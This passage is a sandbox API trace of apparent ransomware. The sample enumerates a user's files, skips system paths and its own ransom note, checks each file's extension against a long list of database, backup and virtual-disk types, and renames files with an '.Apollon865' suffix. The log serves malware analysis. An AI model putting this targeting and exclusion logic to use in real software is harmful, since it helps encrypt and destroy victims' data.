	[0086.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b2f60 | out: hHeap=0x580000) returned 1
	[0086.535] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5b08e8 | out: hHeap=0x580000) returned 1
	[0086.535] UnmapViewOfFile (lpBaseAddress=0x100000) returned 1
	[0086.536] CloseHandle (hObject=0x15c) returned 1
	[0086.536] CloseHandle (hObject=0x9c) returned 1
	[0086.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x59a8a8 | out: hHeap=0x580000) returned 1
	[0086.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x5bf9a8 | out: hHeap=0x580000) returned 1
	[0086.537] HeapFree (in: hHeap=0x580000, dwFlags=0x0, lpMem=0x3060020 | out: hHeap=0x580000) returned 1
	[0086.537] FindNextFileW (in: hFindFile=0x5ca2d0, lpFindFileData=0x119e3b8 | out: lpFindFileData=0x119e3b8*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xb2a9790, ftCreationTime.dwHighDateTime=0x1d4d4ca, ftLastAccessTime.dwLowDateTime=0xc6987da0, ftLastAccessTime.dwHighDateTime=0x1d4d0fe, ftLastWriteTime.dwLowDateTime=0xc6987da0, ftLastWriteTime.dwHighDateTime=0x1d4d0fe, nFileSizeHigh=0x0, nFileSizeLow=0x173dc, dwReserved0=0xa0000003, dwReserved1=0x0, cFileName="_wg1yDowcPrQP6Fl66.mkv", cAlternateFileName="_WG1YD~1.MKV")) returned 1
	[0086.537] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="HOW TO BACK YOUR FILES.exe") returned -1
	[0086.537] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="Apollon865.txt.exe") returned -1
	[0086.537] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".") returned 1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="..") returned 1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="windows") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="bootmgr") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="temp") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="pagefile.sys") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="boot") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="ids.txt") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="ntuser.dat") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="perflogs") returned -1
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2="MSBuild") returned -1
	[0086.538] lstrlenW (lpString="_wg1yDowcPrQP6Fl66.mkv") returned 22
	[0086.538] lstrlenW (lpString="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\vAoXMAlnnzvwS.swf") returned 85
	[0086.538] lstrcpyW (in: lpString1=0x119e690, lpString2="_wg1yDowcPrQP6Fl66.mkv" | out: lpString1="_wg1yDowcPrQP6Fl66.mkv") returned="_wg1yDowcPrQP6Fl66.mkv"
	[0086.538] lstrlenW (lpString="_wg1yDowcPrQP6Fl66.mkv") returned 22
	[0086.538] lstrlenW (lpString="Apollon865") returned 10
	[0086.538] lstrcmpiW (lpString1="P6Fl66.mkv", lpString2="Apollon865") returned 1
	[0086.538] lstrlenW (lpString=".dll") returned 4
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".dll") returned 1
	[0086.538] lstrlenW (lpString=".lnk") returned 4
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".lnk") returned 1
	[0086.538] lstrlenW (lpString=".ini") returned 4
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".ini") returned 1
	[0086.538] lstrlenW (lpString=".sys") returned 4
	[0086.538] lstrcmpiW (lpString1="_wg1yDowcPrQP6Fl66.mkv", lpString2=".sys") returned 1
	[0086.538] lstrlenW (lpString="_wg1yDowcPrQP6Fl66.mkv") returned 22
	[0086.538] lstrlenW (lpString="bak") returned 3
	[0086.538] lstrcmpiW (lpString1="mkv", lpString2="bak") returned 1
	[0086.538] lstrlenW (lpString="ba_") returned 3
	[0086.538] lstrcmpiW (lpString1="mkv", lpString2="ba_") returned 1
	[0086.538] lstrlenW (lpString="dbb") returned 3
	[0086.538] lstrcmpiW (lpString1="mkv", lpString2="dbb") returned 1
	[0086.538] lstrlenW (lpString="vmdk") returned 4
	[0086.538] lstrcmpiW (lpString1=".mkv", lpString2="vmdk") returned -1
	[0086.538] lstrlenW (lpString="rar") returned 3
	[0086.538] lstrcmpiW (lpString1="mkv", lpString2="rar") returned -1
	[0086.538] lstrlenW (lpString="zip") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="zip") returned -1
	[0086.539] lstrlenW (lpString="tgz") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="tgz") returned -1
	[0086.539] lstrlenW (lpString="vbox") returned 4
	[0086.539] lstrcmpiW (lpString1=".mkv", lpString2="vbox") returned -1
	[0086.539] lstrlenW (lpString="vdi") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="vdi") returned -1
	[0086.539] lstrlenW (lpString="vhd") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="vhd") returned -1
	[0086.539] lstrlenW (lpString="vhdx") returned 4
	[0086.539] lstrcmpiW (lpString1=".mkv", lpString2="vhdx") returned -1
	[0086.539] lstrlenW (lpString="avhd") returned 4
	[0086.539] lstrcmpiW (lpString1=".mkv", lpString2="avhd") returned -1
	[0086.539] lstrlenW (lpString="db") returned 2
	[0086.539] lstrcmpiW (lpString1="kv", lpString2="db") returned 1
	[0086.539] lstrlenW (lpString="db2") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="db2") returned 1
	[0086.539] lstrlenW (lpString="db3") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="db3") returned 1
	[0086.539] lstrlenW (lpString="dbf") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="dbf") returned 1
	[0086.539] lstrlenW (lpString="mdf") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="mdf") returned 1
	[0086.539] lstrlenW (lpString="mdb") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="mdb") returned 1
	[0086.539] lstrlenW (lpString="sql") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="sql") returned -1
	[0086.539] lstrlenW (lpString="sqlite") returned 6
	[0086.539] lstrcmpiW (lpString1="66.mkv", lpString2="sqlite") returned -1
	[0086.539] lstrlenW (lpString="sqlite3") returned 7
	[0086.539] lstrcmpiW (lpString1="l66.mkv", lpString2="sqlite3") returned -1
	[0086.539] lstrlenW (lpString="sqlitedb") returned 8
	[0086.539] lstrcmpiW (lpString1="Fl66.mkv", lpString2="sqlitedb") returned -1
	[0086.539] lstrlenW (lpString="xml") returned 3
	[0086.539] lstrcmpiW (lpString1="mkv", lpString2="xml") returned -1
	[0086.539] lstrlenW (lpString="$er") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="$er") returned 1
	[0086.540] lstrlenW (lpString="4dd") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="4dd") returned 1
	[0086.540] lstrlenW (lpString="4dl") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="4dl") returned 1
	[0086.540] lstrlenW (lpString="^^^") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="^^^") returned 1
	[0086.540] lstrlenW (lpString="abs") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="abs") returned 1
	[0086.540] lstrlenW (lpString="abx") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="abx") returned 1
	[0086.540] lstrlenW (lpString="accdb") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accdb") returned -1
	[0086.540] lstrlenW (lpString="accdc") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accdc") returned -1
	[0086.540] lstrlenW (lpString="accde") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accde") returned -1
	[0086.540] lstrlenW (lpString="accdr") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accdr") returned -1
	[0086.540] lstrlenW (lpString="accdt") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accdt") returned -1
	[0086.540] lstrlenW (lpString="accdw") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accdw") returned -1
	[0086.540] lstrlenW (lpString="accft") returned 5
	[0086.540] lstrcmpiW (lpString1="6.mkv", lpString2="accft") returned -1
	[0086.540] lstrlenW (lpString="adb") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.540] lstrlenW (lpString="adb") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="adb") returned 1
	[0086.540] lstrlenW (lpString="ade") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="ade") returned 1
	[0086.540] lstrlenW (lpString="adf") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="adf") returned 1
	[0086.540] lstrlenW (lpString="adn") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="adn") returned 1
	[0086.540] lstrlenW (lpString="adp") returned 3
	[0086.540] lstrcmpiW (lpString1="mkv", lpString2="adp") returned 1
	[0086.541] lstrlenW (lpString="alf") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="alf") returned 1
	[0086.541] lstrlenW (lpString="ask") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="ask") returned 1
	[0086.541] lstrlenW (lpString="btr") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="btr") returned 1
	[0086.541] lstrlenW (lpString="cat") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="cat") returned 1
	[0086.541] lstrlenW (lpString="cdb") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="cdb") returned 1
	[0086.541] lstrlenW (lpString="ckp") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="ckp") returned 1
	[0086.541] lstrlenW (lpString="cma") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="cma") returned 1
	[0086.541] lstrlenW (lpString="cpd") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="cpd") returned 1
	[0086.541] lstrlenW (lpString="dacpac") returned 6
	[0086.541] lstrcmpiW (lpString1="66.mkv", lpString2="dacpac") returned -1
	[0086.541] lstrlenW (lpString="dad") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="dad") returned 1
	[0086.541] lstrlenW (lpString="dadiagrams") returned 10
	[0086.541] lstrcmpiW (lpString1="P6Fl66.mkv", lpString2="dadiagrams") returned 1
	[0086.541] lstrlenW (lpString="daschema") returned 8
	[0086.541] lstrcmpiW (lpString1="Fl66.mkv", lpString2="daschema") returned 1
	[0086.541] lstrlenW (lpString="db-journal") returned 10
	[0086.541] lstrcmpiW (lpString1="P6Fl66.mkv", lpString2="db-journal") returned 1
	[0086.541] lstrlenW (lpString="db-shm") returned 6
	[0086.541] lstrcmpiW (lpString1="66.mkv", lpString2="db-shm") returned -1
	[0086.541] lstrlenW (lpString="db-wal") returned 6
	[0086.541] lstrcmpiW (lpString1="66.mkv", lpString2="db-wal") returned -1
	[0086.541] lstrlenW (lpString="dbc") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="dbc") returned 1
	[0086.541] lstrlenW (lpString="dbs") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="dbs") returned 1
	[0086.541] lstrlenW (lpString="dbt") returned 3
	[0086.541] lstrcmpiW (lpString1="mkv", lpString2="dbt") returned 1
	[0086.542] lstrlenW (lpString="dbv") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dbv") returned 1
	[0086.542] lstrlenW (lpString="dbx") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dbx") returned 1
	[0086.542] lstrlenW (lpString="dcb") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dcb") returned 1
	[0086.542] lstrlenW (lpString="dct") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dct") returned 1
	[0086.542] lstrlenW (lpString="dcx") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dcx") returned 1
	[0086.542] lstrlenW (lpString="ddl") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="ddl") returned 1
	[0086.542] lstrlenW (lpString="dlis") returned 4
	[0086.542] lstrcmpiW (lpString1=".mkv", lpString2="dlis") returned -1
	[0086.542] lstrlenW (lpString="dp1") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dp1") returned 1
	[0086.542] lstrlenW (lpString="dqy") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dqy") returned 1
	[0086.542] lstrlenW (lpString="dsk") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dsk") returned 1
	[0086.542] lstrlenW (lpString="dsn") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dsn") returned 1
	[0086.542] lstrlenW (lpString="dtsx") returned 4
	[0086.542] lstrcmpiW (lpString1=".mkv", lpString2="dtsx") returned -1
	[0086.542] lstrlenW (lpString="dxl") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="dxl") returned 1
	[0086.542] lstrlenW (lpString="eco") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="eco") returned 1
	[0086.542] lstrlenW (lpString="ecx") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="ecx") returned 1
	[0086.542] lstrlenW (lpString="edb") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="edb") returned 1
	[0086.542] lstrlenW (lpString="epim") returned 4
	[0086.542] lstrcmpiW (lpString1=".mkv", lpString2="epim") returned -1
	[0086.542] lstrlenW (lpString="fcd") returned 3
	[0086.542] lstrcmpiW (lpString1="mkv", lpString2="fcd") returned 1
	[0086.542] lstrlenW (lpString="fdb") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fdb") returned 1
	[0086.543] lstrlenW (lpString="fic") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fic") returned 1
	[0086.543] lstrlenW (lpString="flexolibrary") returned 12
	[0086.543] lstrcmpiW (lpString1="rQP6Fl66.mkv", lpString2="flexolibrary") returned 1
	[0086.543] lstrlenW (lpString="fm5") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fm5") returned 1
	[0086.543] lstrlenW (lpString="fmp") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fmp") returned 1
	[0086.543] lstrlenW (lpString="fmp12") returned 5
	[0086.543] lstrcmpiW (lpString1="6.mkv", lpString2="fmp12") returned -1
	[0086.543] lstrlenW (lpString="fmpsl") returned 5
	[0086.543] lstrcmpiW (lpString1="6.mkv", lpString2="fmpsl") returned -1
	[0086.543] lstrlenW (lpString="fol") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fol") returned 1
	[0086.543] lstrlenW (lpString="fp3") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fp3") returned 1
	[0086.543] lstrlenW (lpString="fp4") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fp4") returned 1
	[0086.543] lstrlenW (lpString="fp5") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fp5") returned 1
	[0086.543] lstrlenW (lpString="fp7") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fp7") returned 1
	[0086.543] lstrlenW (lpString="fpt") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="fpt") returned 1
	[0086.543] lstrlenW (lpString="frm") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="frm") returned 1
	[0086.543] lstrlenW (lpString="gdb") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.543] lstrlenW (lpString="gdb") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="gdb") returned 1
	[0086.543] lstrlenW (lpString="grdb") returned 4
	[0086.543] lstrcmpiW (lpString1=".mkv", lpString2="grdb") returned -1
	[0086.543] lstrlenW (lpString="gwi") returned 3
	[0086.543] lstrcmpiW (lpString1="mkv", lpString2="gwi") returned 1
	[0086.543] lstrlenW (lpString="hdb") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="hdb") returned 1
	[0086.544] lstrlenW (lpString="his") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="his") returned 1
	[0086.544] lstrlenW (lpString="ib") returned 2
	[0086.544] lstrcmpiW (lpString1="kv", lpString2="ib") returned 1
	[0086.544] lstrlenW (lpString="idb") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="idb") returned 1
	[0086.544] lstrlenW (lpString="ihx") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="ihx") returned 1
	[0086.544] lstrlenW (lpString="itdb") returned 4
	[0086.544] lstrcmpiW (lpString1=".mkv", lpString2="itdb") returned -1
	[0086.544] lstrlenW (lpString="itw") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="itw") returned 1
	[0086.544] lstrlenW (lpString="jet") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="jet") returned 1
	[0086.544] lstrlenW (lpString="jtx") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="jtx") returned 1
	[0086.544] lstrlenW (lpString="kdb") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="kdb") returned 1
	[0086.544] lstrlenW (lpString="kexi") returned 4
	[0086.544] lstrcmpiW (lpString1=".mkv", lpString2="kexi") returned -1
	[0086.544] lstrlenW (lpString="kexic") returned 5
	[0086.544] lstrcmpiW (lpString1="6.mkv", lpString2="kexic") returned -1
	[0086.544] lstrlenW (lpString="kexis") returned 5
	[0086.544] lstrcmpiW (lpString1="6.mkv", lpString2="kexis") returned -1
	[0086.544] lstrlenW (lpString="lgc") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="lgc") returned 1
	[0086.544] lstrlenW (lpString="lwx") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="lwx") returned 1
	[0086.544] lstrlenW (lpString="maf") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="maf") returned 1
	[0086.544] lstrlenW (lpString="maq") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="maq") returned 1
	[0086.544] lstrlenW (lpString="mar") returned 3
	[0086.544] lstrcmpiW (lpString1="mkv", lpString2="mar") returned 1
	[0086.544] lstrlenW (lpString="marshal") returned 7
	[0086.544] lstrcmpiW (lpString1="l66.mkv", lpString2="marshal") returned -1
	[0086.545] lstrlenW (lpString="mas") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mas") returned 1
	[0086.545] lstrlenW (lpString="mav") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mav") returned 1
	[0086.545] lstrlenW (lpString="maw") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="maw") returned 1
	[0086.545] lstrlenW (lpString="mdbhtml") returned 7
	[0086.545] lstrcmpiW (lpString1="l66.mkv", lpString2="mdbhtml") returned -1
	[0086.545] lstrlenW (lpString="mdn") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mdn") returned 1
	[0086.545] lstrlenW (lpString="mdt") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mdt") returned 1
	[0086.545] lstrlenW (lpString="mfd") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mfd") returned 1
	[0086.545] lstrlenW (lpString="mpd") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mpd") returned -1
	[0086.545] lstrlenW (lpString="mrg") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mrg") returned -1
	[0086.545] lstrlenW (lpString="mud") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mud") returned -1
	[0086.545] lstrlenW (lpString="mwb") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="mwb") returned -1
	[0086.545] lstrlenW (lpString="myd") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="myd") returned -1
	[0086.545] lstrlenW (lpString="ndf") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="ndf") returned -1
	[0086.545] lstrlenW (lpString="nnt") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="nnt") returned -1
	[0086.545] lstrlenW (lpString="nrmlib") returned 6
	[0086.545] lstrcmpiW (lpString1="66.mkv", lpString2="nrmlib") returned -1
	[0086.545] lstrlenW (lpString="ns2") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="ns2") returned -1
	[0086.545] lstrlenW (lpString="ns3") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="ns3") returned -1
	[0086.545] lstrlenW (lpString="ns4") returned 3
	[0086.545] lstrcmpiW (lpString1="mkv", lpString2="ns4") returned -1
	[0086.545] lstrlenW (lpString="nsf") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="nsf") returned -1
	[0086.546] lstrlenW (lpString="nv") returned 2
	[0086.546] lstrcmpiW (lpString1="kv", lpString2="nv") returned -1
	[0086.546] lstrlenW (lpString="nv2") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="nv2") returned -1
	[0086.546] lstrlenW (lpString="nwdb") returned 4
	[0086.546] lstrcmpiW (lpString1=".mkv", lpString2="nwdb") returned -1
	[0086.546] lstrlenW (lpString="nyf") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="nyf") returned -1
	[0086.546] lstrlenW (lpString="odb") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.546] lstrlenW (lpString="odb") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="odb") returned -1
	[0086.546] lstrlenW (lpString="oqy") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="oqy") returned -1
	[0086.546] lstrlenW (lpString="ora") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="ora") returned -1
	[0086.546] lstrlenW (lpString="orx") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="orx") returned -1
	[0086.546] lstrlenW (lpString="owc") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="owc") returned -1
	[0086.546] lstrlenW (lpString="p96") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="p96") returned -1
	[0086.546] lstrlenW (lpString="p97") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="p97") returned -1
	[0086.546] lstrlenW (lpString="pan") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="pan") returned -1
	[0086.546] lstrlenW (lpString="pdb") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="pdb") returned -1
	[0086.546] lstrlenW (lpString="pdm") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="pdm") returned -1
	[0086.546] lstrlenW (lpString="pnz") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="pnz") returned -1
	[0086.546] lstrlenW (lpString="qry") returned 3
	[0086.546] lstrcmpiW (lpString1="mkv", lpString2="qry") returned -1
	[0086.546] lstrlenW (lpString="qvd") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="qvd") returned -1
	[0086.547] lstrlenW (lpString="rbf") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="rbf") returned -1
	[0086.547] lstrlenW (lpString="rctd") returned 4
	[0086.547] lstrcmpiW (lpString1=".mkv", lpString2="rctd") returned -1
	[0086.547] lstrlenW (lpString="rod") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="rod") returned -1
	[0086.547] lstrlenW (lpString="rodx") returned 4
	[0086.547] lstrcmpiW (lpString1=".mkv", lpString2="rodx") returned -1
	[0086.547] lstrlenW (lpString="rpd") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="rpd") returned -1
	[0086.547] lstrlenW (lpString="rsd") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="rsd") returned -1
	[0086.547] lstrlenW (lpString="sas7bdat") returned 8
	[0086.547] lstrcmpiW (lpString1="Fl66.mkv", lpString2="sas7bdat") returned -1
	[0086.547] lstrlenW (lpString="sbf") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="sbf") returned -1
	[0086.547] lstrlenW (lpString="scx") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="scx") returned -1
	[0086.547] lstrlenW (lpString="sdb") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="sdb") returned -1
	[0086.547] lstrlenW (lpString="sdc") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="sdc") returned -1
	[0086.547] lstrlenW (lpString="sdf") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="sdf") returned -1
	[0086.547] lstrlenW (lpString="sis") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="sis") returned -1
	[0086.547] lstrlenW (lpString="spq") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="spq") returned -1
	[0086.547] lstrlenW (lpString="te") returned 2
	[0086.547] lstrcmpiW (lpString1="kv", lpString2="te") returned -1
	[0086.547] lstrlenW (lpString="teacher") returned 7
	[0086.547] lstrcmpiW (lpString1="l66.mkv", lpString2="teacher") returned -1
	[0086.547] lstrlenW (lpString="tmd") returned 3
	[0086.547] lstrcmpiW (lpString1="mkv", lpString2="tmd") returned -1
	[0086.547] lstrlenW (lpString="tps") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="tps") returned -1
	[0086.548] lstrlenW (lpString="trc") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.548] lstrlenW (lpString="trc") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="trc") returned -1
	[0086.548] lstrlenW (lpString="trm") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="trm") returned -1
	[0086.548] lstrlenW (lpString="udb") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="udb") returned -1
	[0086.548] lstrlenW (lpString="udl") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="udl") returned -1
	[0086.548] lstrlenW (lpString="usr") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="usr") returned -1
	[0086.548] lstrlenW (lpString="v12") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="v12") returned -1
	[0086.548] lstrlenW (lpString="vis") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="vis") returned -1
	[0086.548] lstrlenW (lpString="vpd") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="vpd") returned -1
	[0086.548] lstrlenW (lpString="vvv") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="vvv") returned -1
	[0086.548] lstrlenW (lpString="wdb") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="wdb") returned -1
	[0086.548] lstrlenW (lpString="wmdb") returned 4
	[0086.548] lstrcmpiW (lpString1=".mkv", lpString2="wmdb") returned -1
	[0086.548] lstrlenW (lpString="wrk") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="wrk") returned -1
	[0086.548] lstrlenW (lpString="xdb") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="xdb") returned -1
	[0086.548] lstrlenW (lpString="xld") returned 3
	[0086.548] lstrcmpiW (lpString1="mkv", lpString2="xld") returned -1
	[0086.548] lstrlenW (lpString="xmlff") returned 5
	[0086.548] lstrcmpiW (lpString1="6.mkv", lpString2="xmlff") returned -1
	[0086.548] wsprintfW (in: param_1=0x119d398, param_2="%s.%s" | out: param_1="C:\\Users\\5p5NrGJn0jS HALPmcxz\\Videos\\X0JMpELFNa\\vITkbYTcVnkfQOzJRpm\\_wg1yDowcPrQP6Fl66.mkv.Apollon865") returned 101
